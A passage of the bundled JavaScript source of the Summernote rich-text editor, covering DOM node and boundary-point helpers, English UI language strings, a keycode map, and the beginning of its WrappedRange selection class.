 * returns array of closest siblings with node
 *
 * @param {Node} node
 * @param {function} [pred] - predicate function
 * @return {Node[]}
 */
function withClosestSiblings(node, pred) {
    pred = pred || func.ok;
    var siblings = [];
    if (node.previousSibling && pred(node.previousSibling)) {
        siblings.push(node.previousSibling);
    }
    siblings.push(node);
    if (node.nextSibling && pred(node.nextSibling)) {
        siblings.push(node.nextSibling);
    }
    return siblings;
}
/**
 * blank HTML for cursor position
 * - [workaround] old IE only works with &nbsp;
 * - [workaround] IE11 and other browser works with bogus br
 */
var blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';
/**
 * @method nodeLength
 *
 * returns #text's text size or element's childNodes size
 *
 * @param {Node} node
 */
function nodeLength(node) {
    if (isText(node)) {
        return node.nodeValue.length;
    }
    if (node) {
        return node.childNodes.length;
    }
    return 0;
}
/**
 * returns whether node is empty or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEmpty(node) {
    var len = nodeLength(node);
    if (len === 0) {
        return true;
    }
    else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {
        // ex) <p><br></p>, <span><br></span>
        return true;
    }
    else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {
        // ex) <p></p>, <span></span>
        return true;
    }
    return false;
}
/**
 * padding blankHTML if node is empty (for cursor position)
 */
function paddingBlankHTML(node) {
    if (!isVoid(node) && !nodeLength(node)) {
        node.innerHTML = blankHTML;
    }
}
/**
 * find nearest ancestor predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function ancestor(node, pred) {
    while (node) {
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * find nearest ancestor only single child blood line and predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function singleChildAncestor(node, pred) {
    node = node.parentNode;
    while (node) {
        if (nodeLength(node) !== 1) {
            break;
        }
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * returns new array of ancestor nodes (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listAncestor(node, pred) {
    pred = pred || func.fail;
    var ancestors = [];
    ancestor(node, function (el) {
        if (!isEditable(el)) {
            ancestors.push(el);
        }
        return pred(el);
    });
    return ancestors;
}
/**
 * find farthest ancestor predicate hit
 */
function lastAncestor(node, pred) {
    var ancestors = listAncestor(node);
    return lists.last(ancestors.filter(pred));
}
/**
 * returns common ancestor node between two nodes.
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 */
function commonAncestor(nodeA, nodeB) {
    var ancestors = listAncestor(nodeA);
    for (var n = nodeB; n; n = n.parentNode) {
        if ($$1.inArray(n, ancestors) > -1) {
            return n;
        }
    }
    return null; // difference document area
}
/**
 * listing all previous siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listPrev(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.previousSibling;
    }
    return nodes;
}
/**
 * listing next siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listNext(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.nextSibling;
    }
    return nodes;
}
/**
 * listing descendant nodes
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listDescendant(node, pred) {
    var descendants = [];
    pred = pred || func.ok;
    // start DFS(depth first search) with node
    (function fnWalk(current) {
        if (node !== current && pred(current)) {
            descendants.push(current);
        }
        for (var idx = 0, len = current.childNodes.length; idx < len; idx++) {
            fnWalk(current.childNodes[idx]);
        }
    })(node);
    return descendants;
}
/**
 * wrap node with new tag.
 *
 * @param {Node} node
 * @param {Node} tagName of wrapper
 * @return {Node} - wrapper
 */
function wrap(node, wrapperName) {
    var parent = node.parentNode;
    var wrapper = $$1('<' + wrapperName + '>')[0];
    parent.insertBefore(wrapper, node);
    wrapper.appendChild(node);
    return wrapper;
}
/**
 * insert node after preceding
 *
 * @param {Node} node
 * @param {Node} preceding - predicate function
 */
function insertAfter(node, preceding) {
    var next = preceding.nextSibling;
    var parent = preceding.parentNode;
    if (next) {
        parent.insertBefore(node, next);
    }
    else {
        parent.appendChild(node);
    }
    return node;
}
/**
 * append elements.
 *
 * @param {Node} node
 * @param {Collection} aChild
 */
function appendChildNodes(node, aChild) {
    $$1.each(aChild, function (idx, child) {
        node.appendChild(child);
    });
    return node;
}
/**
 * returns whether boundaryPoint is left edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isLeftEdgePoint(point) {
    return point.offset === 0;
}
/**
 * returns whether boundaryPoint is right edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isRightEdgePoint(point) {
    return point.offset === nodeLength(point.node);
}
/**
 * returns whether boundaryPoint is edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isEdgePoint(point) {
    return isLeftEdgePoint(point) || isRightEdgePoint(point);
}
/**
 * returns whether node is left edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgeOf(node, ancestor) {
    while (node && node !== ancestor) {
        if (position(node) !== 0) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether node is right edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgeOf(node, ancestor) {
    if (!ancestor) {
        return false;
    }
    while (node && node !== ancestor) {
        if (position(node) !== nodeLength(node.parentNode) - 1) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether point is left edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgePointOf(point, ancestor) {
    return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);
}
/**
 * returns whether point is right edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgePointOf(point, ancestor) {
    return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);
}
/**
 * returns offset from parent.
 *
 * @param {Node} node
 */
function position(node) {
    var offset = 0;
    while ((node = node.previousSibling)) {
        offset += 1;
    }
    return offset;
}
function hasChildren(node) {
    return !!(node && node.childNodes && node.childNodes.length);
}
/**
 * returns previous boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function prevPoint(point, isSkipInnerOffset) {
    var node;
    var offset;
    if (point.offset === 0) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node);
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset - 1];
        offset = nodeLength(node);
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? 0 : point.offset - 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns next boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function nextPoint(point, isSkipInnerOffset) {
    var node, offset;
    if (nodeLength(point.node) === point.offset) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node) + 1;
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset];
        offset = 0;
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns whether pointA and pointB is same or not.
 *
 * @param {BoundaryPoint} pointA
 * @param {BoundaryPoint} pointB
 * @return {Boolean}
 */
function isSamePoint(pointA, pointB) {
    return pointA.node === pointB.node && pointA.offset === pointB.offset;
}
/**
 * returns whether point is visible (can set cursor) or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isVisiblePoint(point) {
    if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {
        return true;
    }
    var leftNode = point.node.childNodes[point.offset - 1];
    var rightNode = point.node.childNodes[point.offset];
    if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {
        return true;
    }
    return false;
}
/**
 * @method prevPointUtil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function prevPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = prevPoint(point);
    }
    return null;
}
/**
 * @method nextPointUntil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function nextPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = nextPoint(point);
    }
    return null;
}
/**
 * returns whether point has character or not.
 *
 * @param {Point} point
 * @return {Boolean}
 */
function isCharPoint(point) {
    if (!isText(point.node)) {
        return false;
    }
    var ch = point.node.nodeValue.charAt(point.offset - 1);
    return ch && (ch !== ' ' && ch !== NBSP_CHAR);
}
/**
 * @method walkPoint
 *
 * @param {BoundaryPoint} startPoint
 * @param {BoundaryPoint} endPoint
 * @param {Function} handler
 * @param {Boolean} isSkipInnerOffset
 */
function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {
    var point = startPoint;
    while (point) {
        handler(point);
        if (isSamePoint(point, endPoint)) {
            break;
        }
        var isSkipOffset = isSkipInnerOffset &&
            startPoint.node !== point.node &&
            endPoint.node !== point.node;
        point = nextPoint(point, isSkipOffset);
    }
}
/**
 * @method makeOffsetPath
 *
 * return offsetPath(array of offset) from ancestor
 *
 * @param {Node} ancestor - ancestor node
 * @param {Node} node
 */
function makeOffsetPath(ancestor, node) {
    var ancestors = listAncestor(node, func.eq(ancestor));
    return ancestors.map(position).reverse();
}
/**
 * @method fromOffsetPath
 *
 * return element from offsetPath(array of offset)
 *
 * @param {Node} ancestor - ancestor node
 * @param {array} offsets - offsetPath
 */
function fromOffsetPath(ancestor, offsets) {
    var current = ancestor;
    for (var i = 0, len = offsets.length; i < len; i++) {
        if (current.childNodes.length <= offsets[i]) {
            current = current.childNodes[current.childNodes.length - 1];
        }
        else {
            current = current.childNodes[offsets[i]];
        }
    }
    return current;
}
/**
 * @method splitNode
 *
 * split element or #text
 *
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitNode(point, options) {
    var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;
    var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;
    // edge case
    if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {
        if (isLeftEdgePoint(point)) {
            return point.node;
        }
        else if (isRightEdgePoint(point)) {
            return point.node.nextSibling;
        }
    }
    // split #text
    if (isText(point.node)) {
        return point.node.splitText(point.offset);
    }
    else {
        var childNode = point.node.childNodes[point.offset];
        var clone = insertAfter(point.node.cloneNode(false), point.node);
        appendChildNodes(clone, listNext(childNode));
        if (!isSkipPaddingBlankHTML) {
            paddingBlankHTML(point.node);
            paddingBlankHTML(clone);
        }
        return clone;
    }
}
/**
 * @method splitTree
 *
 * split tree by point
 *
 * @param {Node} root - split root
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitTree(root, point, options) {
    // ex) [#text, <span>, <p>]
    var ancestors = listAncestor(point.node, func.eq(root));
    if (!ancestors.length) {
        return null;
    }
    else if (ancestors.length === 1) {
        return splitNode(point, options);
    }
    return ancestors.reduce(function (node, parent) {
        if (node === point.node) {
            node = splitNode(point, options);
        }
        return splitNode({
            node: parent,
            offset: node ? position(node) : nodeLength(parent)
        }, options);
    });
}
/**
 * split point
 *
 * @param {Point} point
 * @param {Boolean} isInline
 * @return {Object}
 */
function splitPoint(point, isInline) {
    // find splitRoot, container
    //  - inline: splitRoot is a child of paragraph
    //  - block: splitRoot is a child of bodyContainer
    var pred = isInline ? isPara : isBodyContainer;
    var ancestors = listAncestor(point.node, pred);
    var topAncestor = lists.last(ancestors) || point.node;
    var splitRoot, container;
    if (pred(topAncestor)) {
        splitRoot = ancestors[ancestors.length - 2];
        container = topAncestor;
    }
    else {
        splitRoot = topAncestor;
        container = splitRoot.parentNode;
    }
    // if splitRoot is exists, split with splitTree
    var pivot = splitRoot && splitTree(splitRoot, point, {
        isSkipPaddingBlankHTML: isInline,
        isNotSplitEdgePoint: isInline
    });
    // if container is point.node, find pivot with point.offset
    if (!pivot && container === point.node) {
        pivot = point.node.childNodes[point.offset];
    }
    return {
        rightNode: pivot,
        container: container
    };
}
function create(nodeName) {
    return document.createElement(nodeName);
}
function createText(text) {
    return document.createTextNode(text);
}
/**
 * @method remove
 *
 * remove node, (isRemoveChild: remove child or not)
 *
 * @param {Node} node
 * @param {Boolean} isRemoveChild
 */
function remove(node, isRemoveChild) {
    if (!node || !node.parentNode) {
        return;
    }
    if (node.removeNode) {
        return node.removeNode(isRemoveChild);
    }
    var parent = node.parentNode;
    if (!isRemoveChild) {
        var nodes = [];
        for (var i = 0, len = node.childNodes.length; i < len; i++) {
            nodes.push(node.childNodes[i]);
        }
        for (var i = 0, len = nodes.length; i < len; i++) {
            parent.insertBefore(nodes[i], node);
        }
    }
    parent.removeChild(node);
}
/**
 * @method removeWhile
 *
 * @param {Node} node
 * @param {Function} pred
 */
function removeWhile(node, pred) {
    while (node) {
        if (isEditable(node) || !pred(node)) {
            break;
        }
        var parent = node.parentNode;
        remove(node);
        node = parent;
    }
}
/**
 * @method replace
 *
 * replace node with provided nodeName
 *
 * @param {Node} node
 * @param {String} nodeName
 * @return {Node} - new node
 */
function replace(node, nodeName) {
    if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {
        return node;
    }
    var newNode = create(nodeName);
    if (node.style.cssText) {
        newNode.style.cssText = node.style.cssText;
    }
    appendChildNodes(newNode, lists.from(node.childNodes));
    insertAfter(newNode, node);
    remove(node);
    return newNode;
}
var isTextarea = makePredByNodeName('TEXTAREA');
/**
 * @param {jQuery} $node
 * @param {Boolean} [stripLinebreaks] - default: false
 */
function value($node, stripLinebreaks) {
    var val = isTextarea($node[0]) ? $node.val() : $node.html();
    if (stripLinebreaks) {
        return val.replace(/[\n\r]/g, '');
    }
    return val;
}
/**
 * @method html
 *
 * get the HTML contents of node
 *
 * @param {jQuery} $node
 * @param {Boolean} [isNewlineOnBlock]
 */
function html($node, isNewlineOnBlock) {
    var markup = value($node);
    if (isNewlineOnBlock) {
        var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g;
        markup = markup.replace(regexTag, function (match, endSlash, name) {
            name = name.toUpperCase();
            var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&
                !!endSlash;
            var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);
            return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : '');
        });
        markup = $$1.trim(markup);
    }
    return markup;
}
function posFromPlaceholder(placeholder) {
    var $placeholder = $$1(placeholder);
    var pos = $placeholder.offset();
    var height = $placeholder.outerHeight(true); // include margin
    return {
        left: pos.left,
        top: pos.top + height
    };
}
function attachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.on(key, events[key]);
    });
}
function detachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.off(key, events[key]);
    });
}
/**
 * @method isCustomStyleTag
 *
 * assert if a node contains a "note-styletag" class,
 * which implies that's a custom-made style tag node
 *
 * @param {Node} an HTML DOM node
 */
function isCustomStyleTag(node) {
    return node && !isText(node) && lists.contains(node.classList, 'note-styletag');
}
var dom = {
    /** @property {String} NBSP_CHAR */
    NBSP_CHAR: NBSP_CHAR,
    /** @property {String} ZERO_WIDTH_NBSP_CHAR */
    ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR,
    /** @property {String} blank */
    blank: blankHTML,
    /** @property {String} emptyPara */
    emptyPara: "<p>" + blankHTML + "</p>",
    makePredByNodeName: makePredByNodeName,
    isEditable: isEditable,
    isControlSizing: isControlSizing,
    isText: isText,
    isElement: isElement,
    isVoid: isVoid,
    isPara: isPara,
    isPurePara: isPurePara,
    isHeading: isHeading,
    isInline: isInline,
    isBlock: func.not(isInline),
    isBodyInline: isBodyInline,
    isBody: isBody,
    isParaInline: isParaInline,
    isPre: isPre,
    isList: isList,
    isTable: isTable,
    isData: isData,
    isCell: isCell,
    isBlockquote: isBlockquote,
    isBodyContainer: isBodyContainer,
    isAnchor: isAnchor,
    isDiv: makePredByNodeName('DIV'),
    isLi: isLi,
    isBR: makePredByNodeName('BR'),
    isSpan: makePredByNodeName('SPAN'),
    isB: makePredByNodeName('B'),
    isU: makePredByNodeName('U'),
    isS: makePredByNodeName('S'),
    isI: makePredByNodeName('I'),
    isImg: makePredByNodeName('IMG'),
    isTextarea: isTextarea,
    isEmpty: isEmpty,
    isEmptyAnchor: func.and(isAnchor, isEmpty),
    isClosestSibling: isClosestSibling,
    withClosestSiblings: withClosestSiblings,
    nodeLength: nodeLength,
    isLeftEdgePoint: isLeftEdgePoint,
    isRightEdgePoint: isRightEdgePoint,
    isEdgePoint: isEdgePoint,
    isLeftEdgeOf: isLeftEdgeOf,
    isRightEdgeOf: isRightEdgeOf,
    isLeftEdgePointOf: isLeftEdgePointOf,
    isRightEdgePointOf: isRightEdgePointOf,
    prevPoint: prevPoint,
    nextPoint: nextPoint,
    isSamePoint: isSamePoint,
    isVisiblePoint: isVisiblePoint,
    prevPointUntil: prevPointUntil,
    nextPointUntil: nextPointUntil,
    isCharPoint: isCharPoint,
    walkPoint: walkPoint,
    ancestor: ancestor,
    singleChildAncestor: singleChildAncestor,
    listAncestor: listAncestor,
    lastAncestor: lastAncestor,
    listNext: listNext,
    listPrev: listPrev,
    listDescendant: listDescendant,
    commonAncestor: commonAncestor,
    wrap: wrap,
    insertAfter: insertAfter,
    appendChildNodes: appendChildNodes,
    position: position,
    hasChildren: hasChildren,
    makeOffsetPath: makeOffsetPath,
    fromOffsetPath: fromOffsetPath,
    splitTree: splitTree,
    splitPoint: splitPoint,
    create: create,
    createText: createText,
    remove: remove,
    removeWhile: removeWhile,
    replace: replace,
    html: html,
    value: value,
    posFromPlaceholder: posFromPlaceholder,
    attachEvents: attachEvents,
    detachEvents: detachEvents,
    isCustomStyleTag: isCustomStyleTag
};

$$1.summernote = $$1.summernote || {
    lang: {}
};
$$1.extend($$1.summernote.lang, {
    'en-US': {
        font: {
            bold: 'Bold',
            italic: 'Italic',
            underline: 'Underline',
            clear: 'Remove Font Style',
            height: 'Line Height',
            name: 'Font Family',
            strikethrough: 'Strikethrough',
            subscript: 'Subscript',
            superscript: 'Superscript',
            size: 'Font Size'
        },
        image: {
            image: 'Picture',
            insert: 'Insert Image',
            resizeFull: 'Resize Full',
            resizeHalf: 'Resize Half',
            resizeQuarter: 'Resize Quarter',
            floatLeft: 'Float Left',
            floatRight: 'Float Right',
            floatNone: 'Float None',
            shapeRounded: 'Shape: Rounded',
            shapeCircle: 'Shape: Circle',
            shapeThumbnail: 'Shape: Thumbnail',
            shapeNone: 'Shape: None',
            dragImageHere: 'Drag image or text here',
            dropImage: 'Drop image or Text',
            selectFromFiles: 'Select from files',
            maximumFileSize: 'Maximum file size',
            maximumFileSizeError: 'Maximum file size exceeded.',
            url: 'Image URL',
            remove: 'Remove Image',
            original: 'Original'
        },
        video: {
            video: 'Video',
            videoLink: 'Video Link',
            insert: 'Insert Video',
            url: 'Video URL',
            providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
        },
        link: {
            link: 'Link',
            insert: 'Insert Link',
            unlink: 'Unlink',
            edit: 'Edit',
            textToDisplay: 'Text to display',
            url: 'To what URL should this link go?',
            openInNewWindow: 'Open in new window'
        },
        table: {
            table: 'Table',
            addRowAbove: 'Add row above',
            addRowBelow: 'Add row below',
            addColLeft: 'Add column left',
            addColRight: 'Add column right',
            delRow: 'Delete row',
            delCol: 'Delete column',
            delTable: 'Delete table'
        },
        hr: {
            insert: 'Insert Horizontal Rule'
        },
        style: {
            style: 'Style',
            p: 'Normal',
            blockquote: 'Quote',
            pre: 'Code',
            h1: 'Header 1',
            h2: 'Header 2',
            h3: 'Header 3',
            h4: 'Header 4',
            h5: 'Header 5',
            h6: 'Header 6'
        },
        lists: {
            unordered: 'Unordered list',
            ordered: 'Ordered list'
        },
        options: {
            help: 'Help',
            fullscreen: 'Full Screen',
            codeview: 'Code View'
        },
        paragraph: {
            paragraph: 'Paragraph',
            outdent: 'Outdent',
            indent: 'Indent',
            left: 'Align left',
            center: 'Align center',
            right: 'Align right',
            justify: 'Justify full'
        },
        color: {
            recent: 'Recent Color',
            more: 'More Color',
            background: 'Background Color',
            foreground: 'Foreground Color',
            transparent: 'Transparent',
            setTransparent: 'Set transparent',
            reset: 'Reset',
            resetToDefault: 'Reset to default'
        },
        shortcut: {
            shortcuts: 'Keyboard shortcuts',
            close: 'Close',
            textFormatting: 'Text formatting',
            action: 'Action',
            paragraphFormatting: 'Paragraph formatting',
            documentStyle: 'Document Style',
            extraKeys: 'Extra keys'
        },
        help: {
            'insertParagraph': 'Insert Paragraph',
            'undo': 'Undoes the last command',
            'redo': 'Redoes the last command',
            'tab': 'Tab',
            'untab': 'Untab',
            'bold': 'Set a bold style',
            'italic': 'Set a italic style',
            'underline': 'Set a underline style',
            'strikethrough': 'Set a strikethrough style',
            'removeFormat': 'Clean a style',
            'justifyLeft': 'Set left align',
            'justifyCenter': 'Set center align',
            'justifyRight': 'Set right align',
            'justifyFull': 'Set full align',
            'insertUnorderedList': 'Toggle unordered list',
            'insertOrderedList': 'Toggle ordered list',
            'outdent': 'Outdent on current paragraph',
            'indent': 'Indent on current paragraph',
            'formatPara': 'Change current block\'s format as a paragraph(P tag)',
            'formatH1': 'Change current block\'s format as H1',
            'formatH2': 'Change current block\'s format as H2',
            'formatH3': 'Change current block\'s format as H3',
            'formatH4': 'Change current block\'s format as H4',
            'formatH5': 'Change current block\'s format as H5',
            'formatH6': 'Change current block\'s format as H6',
            'insertHorizontalRule': 'Insert horizontal rule',
            'linkDialog.show': 'Show Link Dialog'
        },
        history: {
            undo: 'Undo',
            redo: 'Redo'
        },
        specialChar: {
            specialChar: 'SPECIAL CHARACTERS',
            select: 'Select Special characters'
        }
    }
});

var KEY_MAP = {
    'BACKSPACE': 8,
    'TAB': 9,
    'ENTER': 13,
    'SPACE': 32,
    'DELETE': 46,
    // Arrow
    'LEFT': 37,
    'UP': 38,
    'RIGHT': 39,
    'DOWN': 40,
    // Number: 0-9
    'NUM0': 48,
    'NUM1': 49,
    'NUM2': 50,
    'NUM3': 51,
    'NUM4': 52,
    'NUM5': 53,
    'NUM6': 54,
    'NUM7': 55,
    'NUM8': 56,
    // Alphabet: a-z
    'B': 66,
    'E': 69,
    'I': 73,
    'J': 74,
    'K': 75,
    'L': 76,
    'R': 82,
    'S': 83,
    'U': 85,
    'V': 86,
    'Y': 89,
    'Z': 90,
    'SLASH': 191,
    'LEFTBRACKET': 219,
    'BACKSLASH': 220,
    'RIGHTBRACKET': 221
};
/**
 * @class core.key
 *
 * Object for keycodes.
 *
 * @singleton
 * @alternateClassName key
 */
var key = {
    /**
     * @method isEdit
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isEdit: function (keyCode) {
        return lists.contains([
            KEY_MAP.BACKSPACE,
            KEY_MAP.TAB,
            KEY_MAP.ENTER,
            KEY_MAP.SPACE,
            KEY_MAP.DELETE
        ], keyCode);
    },
    /**
     * @method isMove
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isMove: function (keyCode) {
        return lists.contains([
            KEY_MAP.LEFT,
            KEY_MAP.UP,
            KEY_MAP.RIGHT,
            KEY_MAP.DOWN
        ], keyCode);
    },
    /**
     * @property {Object} nameFromCode
     * @property {String} nameFromCode.8 "BACKSPACE"
     */
    nameFromCode: func.invertObject(KEY_MAP),
    code: KEY_MAP
};

/**
 * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js
 *
 * @param {TextRange} textRange
 * @param {Boolean} isStart
 * @return {BoundaryPoint}
 *
 * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx
 */
function textRangeToPoint(textRange, isStart) {
    var container = textRange.parentElement();
    var offset;
    var tester = document.body.createTextRange();
    var prevContainer;
    var childNodes = lists.from(container.childNodes);
    for (offset = 0; offset < childNodes.length; offset++) {
        if (dom.isText(childNodes[offset])) {
            continue;
        }
        tester.moveToElementText(childNodes[offset]);
        if (tester.compareEndPoints('StartToStart', textRange) >= 0) {
            break;
        }
        prevContainer = childNodes[offset];
    }
    if (offset !== 0 && dom.isText(childNodes[offset - 1])) {
        var textRangeStart = document.body.createTextRange();
        var curTextNode = null;
        textRangeStart.moveToElementText(prevContainer || container);
        textRangeStart.collapse(!prevContainer);
        curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;
        var pointTester = textRange.duplicate();
        pointTester.setEndPoint('StartToStart', textRangeStart);
        var textCount = pointTester.text.replace(/[\r\n]/g, '').length;
        while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        // [workaround] enforce IE to re-reference curTextNode, hack
        var dummy = curTextNode.nodeValue; // eslint-disable-line
        if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&
            textCount === curTextNode.nodeValue.length) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        container = curTextNode;
        offset = textCount;
    }
    return {
        cont: container,
        offset: offset
    };
}
/**
 * return TextRange from boundary point (inspired by google closure-library)
 * @param {BoundaryPoint} point
 * @return {TextRange}
 */
function pointToTextRange(point) {
    var textRangeInfo = function (container, offset) {
        var node, isCollapseToStart;
        if (dom.isText(container)) {
            var prevTextNodes = dom.listPrev(container, func.not(dom.isText));
            var prevContainer = lists.last(prevTextNodes).previousSibling;
            node = prevContainer || container.parentNode;
            offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);
            isCollapseToStart = !prevContainer;
        }
        else {
            node = container.childNodes[offset] || container;
            if (dom.isText(node)) {
                return textRangeInfo(node, 0);
            }
            offset = 0;
            isCollapseToStart = false;
        }
        return {
            node: node,
            collapseToStart: isCollapseToStart,
            offset: offset
        };
    };
    var textRange = document.body.createTextRange();
    var info = textRangeInfo(point.node, point.offset);
    textRange.moveToElementText(info.node);
    textRange.collapse(info.collapseToStart);
    textRange.moveStart('character', info.offset);
    return textRange;
}
/**
   * Wrapped Range
   *
   * @constructor
   * @param {Node} sc - start container
   * @param {Number} so - start offset
   * @param {Node} ec - end container
   * @param {Number} eo - end offset
   */
var WrappedRange = /** @class */ (function () {
    function WrappedRange(sc, so, ec, eo) {
        this.sc = sc;
        this.so = so;
        this.ec = ec;
        this.eo = eo;
        // isOnEditable: judge whether range is on editable or not
        this.isOnEditable = this.makeIsOn(dom.isEditable);
        // isOnList: judge whether range is on list node or not
        this.isOnList = this.makeIsOn(dom.isList);
        // isOnAnchor: judge whether range is on anchor node or not
        this.isOnAnchor = this.makeIsOn(dom.isAnchor);
        // isOnCell: judge whether range is on cell node or not
        this.isOnCell = this.makeIsOn(dom.isCell);
        // isOnData: judge whether range is on data node or not
        this.isOnData = this.makeIsOn(dom.isData);
    }
    // nativeRange: get nativeRange from sc, so, ec, eo
    WrappedRange.prototype.nativeRange = function () {
        if (env.isW3CRangeSupport) {
            var w3cRange = document.createRange();
            w3cRange.setStart(this.sc, this.so);
            w3cRange.setEnd(this.ec, this.eo);
            return w3cRange;
        }
        else {
            var textRange = pointToTextRange({
                node: this.sc,
                offset: this.so
            });
            textRange.setEndPoint('EndToEnd', pointToTextRange({
                node: this.ec,
                offset: this.eo
            }));
            return textRange;
        }
    };
    WrappedRange.prototype.getPoints = function () {
        return {
            sc: this.sc,
            so: this.so,
            ec: this.ec,
            eo: this.eo
        };
    };
    WrappedRange.prototype.getStartPoint = function () {
        return {
            node: this.sc,
            offset: this.so
        };
    };
    WrappedRange.prototype.getEndPoint = function () {
        return {
            node: this.ec,
            offset: this.eo
        };
    };
    /**
     * select update visible range
     */
    WrappedRange.prototype.select = function () {
        var nativeRng = this.nativeRange();
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (selection.rangeCount > 0) {
                selection.removeAllRanges();
            }
            selection.addRange(nativeRng);
        }
        else {
            nativeRng.select();
        }
        return this;
    };
    /**
     * Moves the scrollbar to start container(sc) of current range
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.scrollIntoView = function (container) {
        var height = $$1(container).height();
        if (container.scrollTop + height < this.sc.offsetTop) {
            container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);
        }
        return this;
    };
    /**
     * @return {WrappedRange}
     */
    WrappedRange.prototype.normalize = function () {
        /**
         * @param {BoundaryPoint} point
         * @param {Boolean} isLeftToRight
         * @return {BoundaryPoint}
         */
        var getVisiblePoint = function (point, isLeftToRight) {
            if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||
                (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||
